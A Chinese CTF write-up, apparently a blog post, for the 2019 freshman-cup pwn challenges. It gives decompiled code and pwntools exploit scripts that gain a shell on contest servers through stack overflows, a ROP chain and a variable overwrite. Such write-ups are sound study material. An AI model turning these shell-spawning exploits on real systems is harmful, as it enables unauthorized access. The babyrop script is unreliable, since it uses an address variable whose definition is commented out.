2019新生杯 pwn writeup

新生杯被吊打,大佬们tql…本来周五打完就应该写wp的,颓废了一个周末,周一晚上开始写。
wp分开吧,每个方向一个wp(不是全栈!!!)
其实pwn题目有点坑…前面的没学过二进制的web手也能做,后面两题做出来的人就很少(主要是我太菜了)
五道pwn题在文末都有网盘链接

**

0x00 babyrip

**
IDA看一下主要函数

int pwn()
{
  char v1; // [rsp+0h] [rbp-F0h]

  printf("Enter your comment:");
  __isoc99_scanf("%256s", &v1);
  return puts("Got shell?");
}

int backd00r()
{
  return execve("/bin/sh", 0LL, 0LL);
}

能溢出,还给了后门函数…很友好

使用pwndbg里面的cyclic看一下溢出需要多少字节(junk=248*‘A’)
再找到execve("/bin/sh")的地址,溢出getshell

exp:
from pwn import *
context.log_level = 'debug'
p = remote("34.80.207.78",10000)
junk =248*"A"
sys_addr = 0x04007D5
payload = junk + p64(sys_addr)
p.send(payload)
p.interactive()

0x01 babyrop

这道题用到了简单的rop,做这题的时候还去网上搜了下rop链的构造。
这题就很简单了:溢出+pop rdi+传入binsh地址+调用system函数
64位程序,rdi是函数调用的第一个参数,先pop rdi再把binsh地址放进rdi中。

exp:
from pwn import *
context.log_level = 'debug'
p = process("./babyrop")
#.attach(p,' ')
r = remote("34.80.207.78",10001)
junk = 0xf8 * "A"
#bin_addr =0x0400836
sys_addr = 0x0400724
pop_rdi = 0x0400803
payload = junk +p64(pop_rdi)+p64(bin_addr)+p64(sys_addr)
r.send(payload)
r.interactive()

在这里插入图片描述
先下断点再利用search -s寻找"/bin/sh"

0x02 babystack

做了两题觉得第三题应该会放难一点的…没想到跟第一题一样(溢出+变量覆盖,刚开始溢出字节算错了一直在想着怎么绕过canary)
先IDA里面看一下主要函数:

unsigned __int64 pwn()
{
  char s; // [rsp+0h] [rbp-120h]
  __int64 v2; // [rsp+18h] [rbp-108h]
  __int64 v3; // [rsp+110h] [rbp-10h]
  unsigned __int64 v4; // [rsp+118h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  memset(&s, 0, 0x110uLL);
  v3 = 180097847LL;
  printf("Enter your name:", 0LL);
  read(0, &s, 0x18uLL);
  printf("Enter your comment:", &s);
  read(0, &v2, 0x100uLL);
  printf("Hello, %s, your comment is %s.\n", &s, &v2);
  if ( v3 == 20150972 )
  {
    puts("you are an eligible user to obtain shell prompt.");
    system("/bin/sh");
  }
  else
  {
    puts("you don't have permission to access shell.");
  }
  return __readfsqword(0x28u) ^ v4;
}

漏洞利用过程:输入name+填充junk字节+变量覆盖即可getshell

exp:
from pwn import *
context(arch='amd64',os='linux',log_level="debug")
r = remote("34.80.207.78",10002)
r.recv()
r.sendline("match")
r.recv()
r.sendline("a"*0xf8+p64(0x1337ABC))
r.interactive()

0x03 syscall

0x04 inversion

链接:https://pan.baidu.com/s/1vya52A8ulQKDNgoQfkgVSw 
提取码:gbqk 
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

_n19hT

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值